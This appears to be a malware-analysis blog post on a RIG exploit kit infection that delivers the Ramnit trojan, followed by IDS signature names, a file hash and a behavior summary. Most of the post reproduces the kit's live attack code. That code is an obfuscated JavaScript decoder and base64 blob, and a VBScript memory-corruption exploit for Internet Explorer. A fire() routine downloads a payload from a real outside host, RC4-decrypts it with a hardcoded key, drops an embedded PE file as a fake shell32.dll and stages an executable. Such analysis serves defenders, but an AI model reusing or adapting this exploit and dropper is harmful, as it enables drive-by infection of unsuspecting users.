DAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDApCiAgICAgICAgICAgIEZvciBpPTAgdG8gVWJvdW5kKHV5dTV0KQogICAgICAgICAgICAgICAgdXl1NXQoaSkgPSBDaHIodXl1NXQoaSkpCiAgICAgICAgICAgIE5leHQKICAgICAgICAgICAgZGxsdHh0ID0gSm9pbih1eXU1dCwiIikKICAgICAgICAgICAgZmFrZWRsbCA9IGMuQnVpbGRQYXRoKGZha2UzMiwic2hlbGwzMi5kbGwiKQogICAgICAgICAgICBTZXQgYj1jLkNyZWF0ZVRleHRGaWxlKGZha2VkbGwpCiAgICAgICAgICAgIGIuV3JpdGUgZGxsdHh0CiAgICAgICAgICAgIGIuQ2xvc2UKICAgICAgICAgICAgZj1jLkJ1aWxkUGF0aCh0bXAscm5kcyg4KSYiLmV4ZSIpCiAgICAgICAgICAgIFNldCBzdHJlYW09Q3JlYXRlT2JqZWN0KCJBRE9EQi5TdHJlYW0iKQogICAgICAgICAgICBzdHJlYW0uT3BlbgogICAgICAgICAgICBzdHJlYW0uVHlwZT0xCiAgICAgICAgICAgIHN0cmVhbS5Xcml0ZSB6CiAgICAgICAgICAgIGFyY25zYXZlIHN0cmVhbSxrZXksZgogICAgICAgICAgICBzdHJlYW0uQ2xvc2UKCiAgICAgICAgICAgIFNldCB3PUNyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpCiAgICAgICAgICAgIHcuQ3VycmVudERpcmVjdG9yeT10bXAKICAgICAgICAgICAgb2xkcm9vdD13LkVudmlyb25tZW50KCJQcm9jZXNzIikuSXRlbSgiU3lzdGVtUm9vdCIpCiAgICAgICAgICAgIHcuRW52aXJvbm1lbnQoIlByb2Nlc3MiKS5JdGVtKCJTeXN0ZW1Sb290Iik9dG1wCiAgICAgICAgICAgIHcuRW52aXJvbm1lbnQoIlByb2Nlc3MiKS5JdGVtKCJTeXNGaWxlbmFtZSIpPWYKICAgICAgICAgICAgU2V0IHNoID0gQ3JlYXRlT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpCiAgICAgICAgICAgIEVudmlyb25tZW50KCJQcm9jZXNzIikuSXRlbSgiU3lzdGVtUm9vdCIpPW9sZHJvb3QKICAgICAgICAgIEVuZCBJZgogICAgICAgIEVuZCBTdWIKCiAgICAgICAgU3ViIGFyY25zYXZlKHN0cmVhbSxzdHJLZXksZm5hbWUpCiAgICAgICAgICBEaW0ga0xlbix4LHksaSxqLHQsc2xlbixhQnVmLGJTdHJlYW0KICAgICAgICAgIERpbSBzKDI1NiksaygyNTYpCiAgICAgICAgICBrbGVuPUxlbihzdHJLZXkpCiAgICAgICAgICBGb3IgaT0wIFRvIDI1NQogICAgICAgICAgICBzKGkpPWkKICAgICAgICAgICAgayhpKT1Bc2NCKE1pZChzdHJLZXksIChpIE1vZCBrbGVuKSsxLDEpKQogICAgICAgICAgTmV4dAogICAgICAgICAgaj0wCiAgICAgICAgICBGb3IgaT0wIFRvIDI1NQogICAgICAgICAgICBqPShqK2soaSkrcyhpKSkgQW5kIDI1NQogICAgICAgICAgICB0PXMoaSk6cyhpKT1zKGopOnMoaik9dAogICAgICAgICAgTmV4dAogICAgICAgICAgc2xlbj1zdHJlYW0ucG9zaXRpb24KICAgICAgICAgIHJlZGltIHJjKHNsZW4pCiAgICAgICAgICBzdHJlYW0ucG9zaXRpb249MAogICAgICAgICAgeD0wOnk9MAogICAgICAgICAgRm9yIGk9MCBUbyBzbGVuLTEKICAgICAgICAgICAgeD0oeCsxKSBBbmQgMjU1CiAgICAgICAgICAgIHk9KHkrcyh4KSkgQW5kIDI1NQogICAgICAgICAgICB0PXMoeCk6cyh4KT1zKHkpOnMoeSk9dAogICAgICAgICAgICByYyhpKT1DaHIoQ0J5dGUocygocyh4KStzKHkpKSBBbmQgMjU1KSBYb3IgQXNjQihzdHJlYW0uUmVhZCgxKSkpKQogICAgICAgICAgTmV4dAogICAgICAgICAgRGltIHJjdHh0OiByY3R4dCA9IGpvaW4ocmMsIiIpCiAgICAgICAgICBTZXQgYz1DcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IikKICAgICAgICAgIFNldCBiPWMuQ3JlYXRlVGV4dEZpbGUoZm5hbWUpCiAgICAgICAgICBiLldyaXRlIHJjdHh0CiAgICAgICAgICBiLkNsb3NlCiAgICAgICAgRW5kIFN1YgoKICAgICAgICBGdW5jdGlvbiBoZWRmc2RmCiAgICAgICAgICAgIGF3Llplcm9pbmVMKCkKICAgICAgICAgICAgRGltIGkKICAgICAgICAgICAgRm9yIGkgPSAwIFRvIGszCiAgICAgICAgICAgICAgICB5KGkpID0gTWlkKHgsIDEsIGsyKjEyKQogICAgICAgICAgICBOZXh0CiAgICAgICAgRW5kIEZ1bmN0aW9uCiAgICA=";
    var e = {},
        i, b = 0,
        c, x, aq = 0,
        a, r = "",
        dfgdfg = String.fromCharCode,
        L = s.length;
    var A = "ABCDEFGHIJKSD454FLMNOPQRSTUVWXYSD454FZabcdefghijklmnopqrstuvwxyz0123456789+/". /*df36610gd35283f*/ replace(/SD454F/g, "");
    ch = "charAt";
    for (i = 0; i < 2 + 30 + 32; i++) {
        e[ /*fd54ed*/ A[ch](i)] = i;
    }
    for (x = 0; x < L; x++) {
        c = e[ /*fd92755d*/ s[ch](x)];
        b = (b << 6) + c;
        aq += 6;
        bx = 2;
        while (aq >= (9 - 1)) {
            ((a = ( /*k34212fsdfs*/ b >>> /*kj99086sdfs*/ (aq -= /*xY228983OC00NDQ*/ 10 - 2)) & 257 - 2 /*kj53865dfsdfg*/ ) || (x < bx)) && (r += dfgdfg(a));
        }
    }
    return r;
}

function strToInt(s) {
    return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
}

function intToStr(x) {
    return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
}
var o;
o = {
    "valueOf": function() {
        hedfsdf();
        return 1;
    }
};
setTimeout(function() {
    ProtectMe(o);
}, 50);

This script builds the VBScript Code to be executed



VBScript code:

  Dim aw
    Dim lunnga(32)
    Dim y(32)
  k1 = 1
  k2 = 1999 + k1
  fix1 = "%u4141"
        dddfgergere = fix1 & fix1
  k3 = 32
  fix3 = dddfgergere & fix1
        zerofix = "%u0000"
        trifix = zerofix & zerofix & zerofix
        d = dddfgergere & "%u0016" & fix3 & "%u4242%u4242"
        b = String(k2*k3, "D")
        c = d & b
        x = UnEscape(c)

        Class MiddleD
        End Class

        Class Wararape
            Dim Cod()
            Private Sub Class_Initialize
                ReDim Preserve Cod(k1, k2)
            End Sub

            Public Sub ZeroineL()
                ReDim Preserve Cod(k1, k1)
            End Sub
        End Class

        Function GogoGoA (arg1, s)
            aw = Null
            Set aw = New Wararape

            For i = 0 To k3
                Set lunnga(i) = s
            Next

            Set aw.Cod(arg1, 2) = s

            Dim addr
            Dim i
            For i = 0 To k3-1
                If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
                    addr = strToInt(Mid(y(i), 3 + 4, 2))
                End If
                y(i) = Null
            Next

            If addr = Null Then
                document.location.href = document.location.href
                Return
            End If

            GogoGoA = addr
        End Function

        Function LikeMeLike (arg1, addr)
            d = dddfgergere & "%u0008" & fix3
            c = d & intToStr(addr) & b
            x = UnEscape(c)
            aw = Null
            Set aw = New Wararape
            Dim o
            o = aw.Cod(arg1, 2)
            LikeMeLike = o
        End Function

        Sub Rewwati (arg1, addr)
            d = dddfgergere & "%u400C" & trifix
            c = d & intToStr(addr) & b
            x = UnEscape(c)
            aw = Null
            Set aw = New Wararape
            aw.Cod(arg1, 2) = CSng(0)
        End Sub

        Sub Rewwati2 (arg1, addr)
            Dim emptyval
            d = dddfgergere & "%u400C" & trifix
            c = d & intToStr(addr) & b
            x = UnEscape(c)
            aw = Null
            Set aw = New Wararape
            aw.Cod(arg1, 2) = emptyval
        End Sub

        Function ProtectMe (arg1)
            Dim addr
            Dim sexy
            Dim koles
            Dim mem
            Set dm = New MiddleD
            addr = GogoGoA(arg1, dm)
            mem = LikeMeLike(arg1, addr + 8)
            sexy = strToInt(Mid(mem, 3, 2))
            mem = LikeMeLike(arg1, sexy + 4)
            koles = strToInt(Mid(mem, 1, 2))
            Rewwati arg1, koles + &H174
          fire()
            Rewwati2 arg1, koles + &H174
        End Function

  Function rnds(strLen)
      Dim str
      Const LETTERS = "abcdehiklmnoprstuw02346"
      Randomize
      For i = 1 to strLen
          str = str & Mid(LETTERS, Int(23*Rnd+1), 1)
      Next
      rnds = str
  End Function

  Sub fire()
          On Error Resume Next
          key="gexywoaxor"
      url="http://red.lizzyandcole.us/?yus=split.112fa82.406q4e9l0&true=snake&ct=split&biw=split.89aq93.406k9c1y3&oq=UrfuBRP1C1iRSELVM0yI1ZWghF8vyshkbTmBHNgcGB_xaIUQNM9pucHbgy0W2oj7kX&q=wXnQMvXcJwDQA4bGMvrESLtHNknQA0KK2Iv2_dqyEoH9eWnihNzUSkr06B2aCm3XoP&fix=split.118zh74.406x6n0b9"
          uas=Navigator.userAgent

          Set oss=GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")
          Dim osloc
          for each os in oss
            osloc=os.OSLanguage
          next
          SetLocale(osloc)

          Set req=CreateObject("WinHTTP.WinHTTPRequest.5.1")
          req.SetProxy 0
          req.Open "GET",url,0
          req.Option(0)=uas
          req.Send
          If 200=req.status Then
            z=req.responseBody
            Set c=CreateObject("Scripting.FileSystemObject")
            tmp=c.GetSpecialFolder(2)
            fake32=tmp&"\System32"
            If Not c.FolderExists(fake32) Then
              c.CreateFolder(fake32)
            End If
            Dim uyu5t,dlltxt,fakedll
            uyu5t= Array(&h4d,&h5a,&h80,0,1,0,0,0,4,0,&h10,0,&hff,&hff,0,0,&h40,1,0,0,0,0,0,0,&h40,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h80,0,0,0,&he,&h1f,&hba,&he,0,&hb4,9,&hcd,&h21,&hb8,1,&h4c,&hcd,&h21,&h54,&h68,&h69,&h73,&h20,&h70,&h72,&h6f,&h67,&h72,&h61,&h6d,&h20,&h63,&h61,&h6e,&h6e,&h6f,&h74,&h20,&h62,&h65,&h20,&h72,&h75,&h6e,&h20,&h69,&h6e,&h20,&h44,&h4f,&h53,&h20,&h6d,&h6f,&h64,&h65,&h2e,&hd,&ha,&h24,0,0,0,0,0,0,0,0,&h50,&h45,0,0,&h4c,1,4,0,&h21,&h3c,&h6e,&h58,0,0,0,0,0,0,0,0,&he0,0,&he,&h21,&hb,1,1,&h47,0,2,0,0,0,6,0,0,0,0,0,0,0,&h10,0,0,0,&h10,0,0,0,&h20,0,0,0,0,&h40,0,0,&h10,0,0,0,2,0,0,1,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,&h50,0,0,0,4,0,0,&h15,&h5b,0,0,2,0,&h40,0,0,&h10,0,0,0,&h10,0,0,0,0,1,0,0,0,0,0,0,0,0,0,&h10,0,0,0,0,0,0,0,0,0,0,0,0,&h30,0,0,&hfc,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h40,0,0,&h28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h2e,&h74,&h65,&h78,&h74,0,0,0,&ha1,0,0,0,0,&h10,0,0,0,2,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h20,0,0,&h60,&h2e,&h64,&h61,&h74,&h61,0,0,0,&hee,1,0,0,0,&h20,0,0,0,2,0,0,0,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h40,0,0,&hc0,&h2e,&h69,&h64,&h61,&h74,&h61,0,0,&hfc,0,0,0,0,&h30,0,0,0,2,0,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h40,0,0,&hc0,&h2e,&h72,&h65,&h6c,&h6f,&h63,0,0,&h28,0,0,0,0,&h40,0,0,0,2,0,0,0,&ha,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h40,0,0,&h42,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h55,&h89,&he5,&h83,&h7d,&hc,1,&hf,&h85,&h8b,0,0,0,&hb9,&h96,0,0,0,&h49,&hf6,&h91,&h58,&h21,&h40,0,&h80,&hb1,&h58,&h21,&h40,0,&ha3,&h85,&hc9,&h75,&hee,&h68,&h58,&h21,&h40,0,&h6a,1,&h6a,1,&h6a,0,&hff,&h15,&h6c,&h30,&h40,0,&hff,&h15,&h74,&h30,&h40,0,&h85,&hc0,&h75,&h59,&hc7,5,4,&h21,&h40,0,&h44,0,0,0,&hc7,5,&h30,&h21,&h40,0,1,1,0,0,&h68,4,1,0,0,&h68,0,&h20,&h40,0,&hff,&h15,&h70,&h30,&h40,0,&h68,0,&h20,&h40,0,&h68,&he3,&h21,&h40,0,&hff,&h15,&h78,&h30,&h40,0,&h68,&h48,&h21,&h40,0,&h68,4,&h21,&h40,0,&h6a,0,&h6a,0,&h6a,0,&h6a,0,&h6a,0,&h6a,0,&h68,&h7d,&h21,&h40,0,&h6a,0,&h6a,0,&hff,&h15,&hdc,&h30,&h40,0,&hb8,1,0,0,0,&hc9,&hc2,&hc,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h3f,&h6c,&h6b,&h6b,&h38,&h38,&h39,&h6a,&h71,&h6a,&h6f,&h6a,&h68,&h71,&h68,&h68,&h6d,&h65,&h71,&h3d,&h3f,&h38,&h6e,&h71,&h3e,&h64,&h69,&h6c,&h69,&h64,&h6d,&h3e,&h64,&h3a,&h6a,&h68,&h5c,&h3f,&h5c,&h31,&h5c,&h38,&h5c,&h72,&h5c,&h39,&h5c,&h24,&h5c,&h39,&h5c,&h7c,&h5c,&h73,&h5c,&h3f,&h5c,&h7c,&h5c,&h2f,&h5c,&h28,&h5c,&h3d,&h5c,&h2e,&h5c,&h28,&h5c,&h7c,&h5c,&h79,&h5c,&hf,&h5c,&h25,&h5c,&h2f,&h5c,&h1a,&h5c,&h35,&h5c,&h30,&h5c,&h39,&h5c,&h32,&h5c,&h3d,&h5c,&h31,&h5c,&h39,&h5c,&h79,&h5c,&h7c,&h5c,&h7a,&h5c,&h7c,&h5c,&h2e,&h5c,&h38,&h5c,&h7c,&h5c,&h73,&h5c,&h2f,&h5c,&h7c,&h5c,&h73,&h5c,&h2d,&h5c,&h7c,&h5c,&hf,&h5c,&h25,&h5c,&h2f,&h5c,&h28,&h5c,&h39,&h5c,&h31,&h5c,&h6f,&h5c,&h6e,&h5c,&h5c,&h5c,&hf,&h25,&h2f,&h28,&h39,&h31,&he,&h33,&h33,&h28,&h5c,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h58,&h30,0,0,0,0,0,0,0,0,0,0,&h3c,&h30,0,0,&h6c,&h30,0,0,&hd4,&h30,0,0,0,0,0,0,0,0,0,0,&h4a,&h30,0,0,&hdc,&h30,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h4b,&h45,&h52,&h4e,&h45,&h4c,&h33,&h32,&h2e,&h44,&h4c,&h4c,0,0,&h41,&h44,&h56,&h41,&h50,&h49,&h33,&h32,&h2e,&h44,&h4c,&h4c,0,0,&h80,&h30,0,0,&h90,&h30,0,0,&ha8,&h30,0,0,&hb8,&h30,0,0,0,0,0,0,&h80,&h30,0,0,&h90,&h30,0,0,&ha8,&h30,0,0,&hb8,&h30,0,0,0,0,0,0,0,0,&h43,&h72,&h65,&h61,&h74,&h65,&h45,&h76,&h65,&h6e,&h74,&h41,0,0,0,0,&h47,&h65,&h74,&h57,&h69,&h6e,&h64,&h6f,&h77,&h73,&h44,&h69,&h72,&h65,&h63,&h74,&h6f,&h72,&h79,&h41,0,0,0,0,&h47,&h65,&h74,&h4c,&h61,&h73,&h74,&h45,&h72,&h72,&h6f,&h72,0,0,0,0,&h53,&h65,&h74,&h45,&h6e,&h76,&h69,&h72,&h6f,&h6e,&h6d,&h65,&h6e,&h74,&h56,&h61,&h72,&h69,&h61,&h62,&h6c,&h65,&h41,0,0,0,&he4,&h30,0,0,0,0,0,0,&he4,&h30,0,0,0,0,0,0,0,0,&h43,&h72,&h65,&h61,&h74,&h65,&h50,&h72,&h6f,&h63,&h65,&h73,&h73,&h41,&h73,&h55,&h73,&h65,&h72,&h57,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h10,0,0,&h28,0,0,0,&h15,&h30,&h1b,&h30,&h25,&h30,&h31,&h30,&h37,&h30,&h41,&h30,&h4b,&h30,&h59,&h30,&h5f,&h30,&h64,&h30,&h69,&h30,&h6f,&h30,&h74,&h30,&h79,&h30,&h8a,&h30,&h94,&h30,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)
            For i=0 to Ubound(uyu5t)
                uyu5t(i) = Chr(uyu5t(i))
            Next
            dlltxt = Join(uyu5t,"")
            fakedll = c.BuildPath(fake32,"shell32.dll")
            Set b=c.CreateTextFile(fakedll)
            b.Write dlltxt
            b.Close
            f=c.BuildPath(tmp,rnds(8)&".exe")
            Set stream=CreateObject("ADODB.Stream")
            stream.Open
            stream.Type=1
            stream.Write z
            arcnsave stream,key,f
            stream.Close

            Set w=CreateObject("WScript.Shell")
            w.CurrentDirectory=tmp
            oldroot=w.Environment("Process").Item("SystemRoot")
            w.Environment("Process").Item("SystemRoot")=tmp
            w.Environment("Process").Item("SysFilename")=f
            Set sh = CreateObject("Shell.Application")
            Environment("Process").Item("SystemRoot")=oldroot
          End If
        End Sub

        Sub arcnsave(stream,strKey,fname)
          Dim kLen,x,y,i,j,t,slen,aBuf,bStream
          Dim s(256),k(256)
          klen=Len(strKey)
          For i=0 To 255
            s(i)=i
            k(i)=AscB(Mid(strKey, (i Mod klen)+1,1))
          Next
          j=0
          For i=0 To 255
            j=(j+k(i)+s(i)) And 255
            t=s(i):s(i)=s(j):s(j)=t
          Next
          slen=stream.position
          redim rc(slen)
          stream.position=0
          x=0:y=0
          For i=0 To slen-1
            x=(x+1) And 255
            y=(y+s(x)) And 255
            t=s(x):s(x)=s(y):s(y)=t
            rc(i)=Chr(CByte(s((s(x)+s(y)) And 255) Xor AscB(stream.Read(1))))
          Next
          Dim rctxt: rctxt = join(rc,"")
          Set c=CreateObject("Scripting.FileSystemObject")
          Set b=c.CreateTextFile(fname)
          b.Write rctxt
          b.Close
        End Sub

        Function hedfsdf
            aw.ZeroineL()
            Dim i
            For i = 0 To k3
                y(i) = Mid(x, 1, k2*12)
            Next
        End Function



Network Signatures:

ET CURRENT_EVENTS RIG EK URI Struct Mar 13 2017
ET CURRENT_EVENTS RIG EK URI Struct Mar 13 2017 M2
ETPRO CURRENT_EVENTS RIG EK Landing Apr 04 2017 M4
ET CURRENT_EVENTS RIG EK URI Struct Mar 13 2017
ET CURRENT_EVENTS RIG EK URI Struct Mar 13 2017 M2
ETPRO CURRENT_EVENTS RIG/Sundown/Xer EK Payload Jul 06 2016 M2
ET TROJAN Win32/Ramnit Checkin
ETPRO TROJAN W32/Ramnit Initial CnC Connection
ET TROJAN EXE Download Request To Wordpress Folder Likely Malicious
ET POLICY exe download via HTTP - Informational



File Hashes:

Detection ratio: 17 / 61 Link

SHA256: 0b5af3ce84f3e38731be0e2c323e65af249b6d92ce07c7ff9f035b62e57ac0a6
File type: Win32 EXE

image-title-here Virustotal Results



Malware Behavior:

image-title-here Flow of Infection


image-title-here Disabling Windows Security features & Stoping various Windows services


image-title-here Installs itself for autorun at Windows startup & Stopping Windows Firewall service



associated files:
avaliable on request

This website focuses on the latest malware, exploit kits, spam and phishing attacks that are seen in the wild. Inspired by @malware_traffic, @BroadAnalysis and @malwareforme

Read Next

Fake Flash Update delivers Qadars Trojan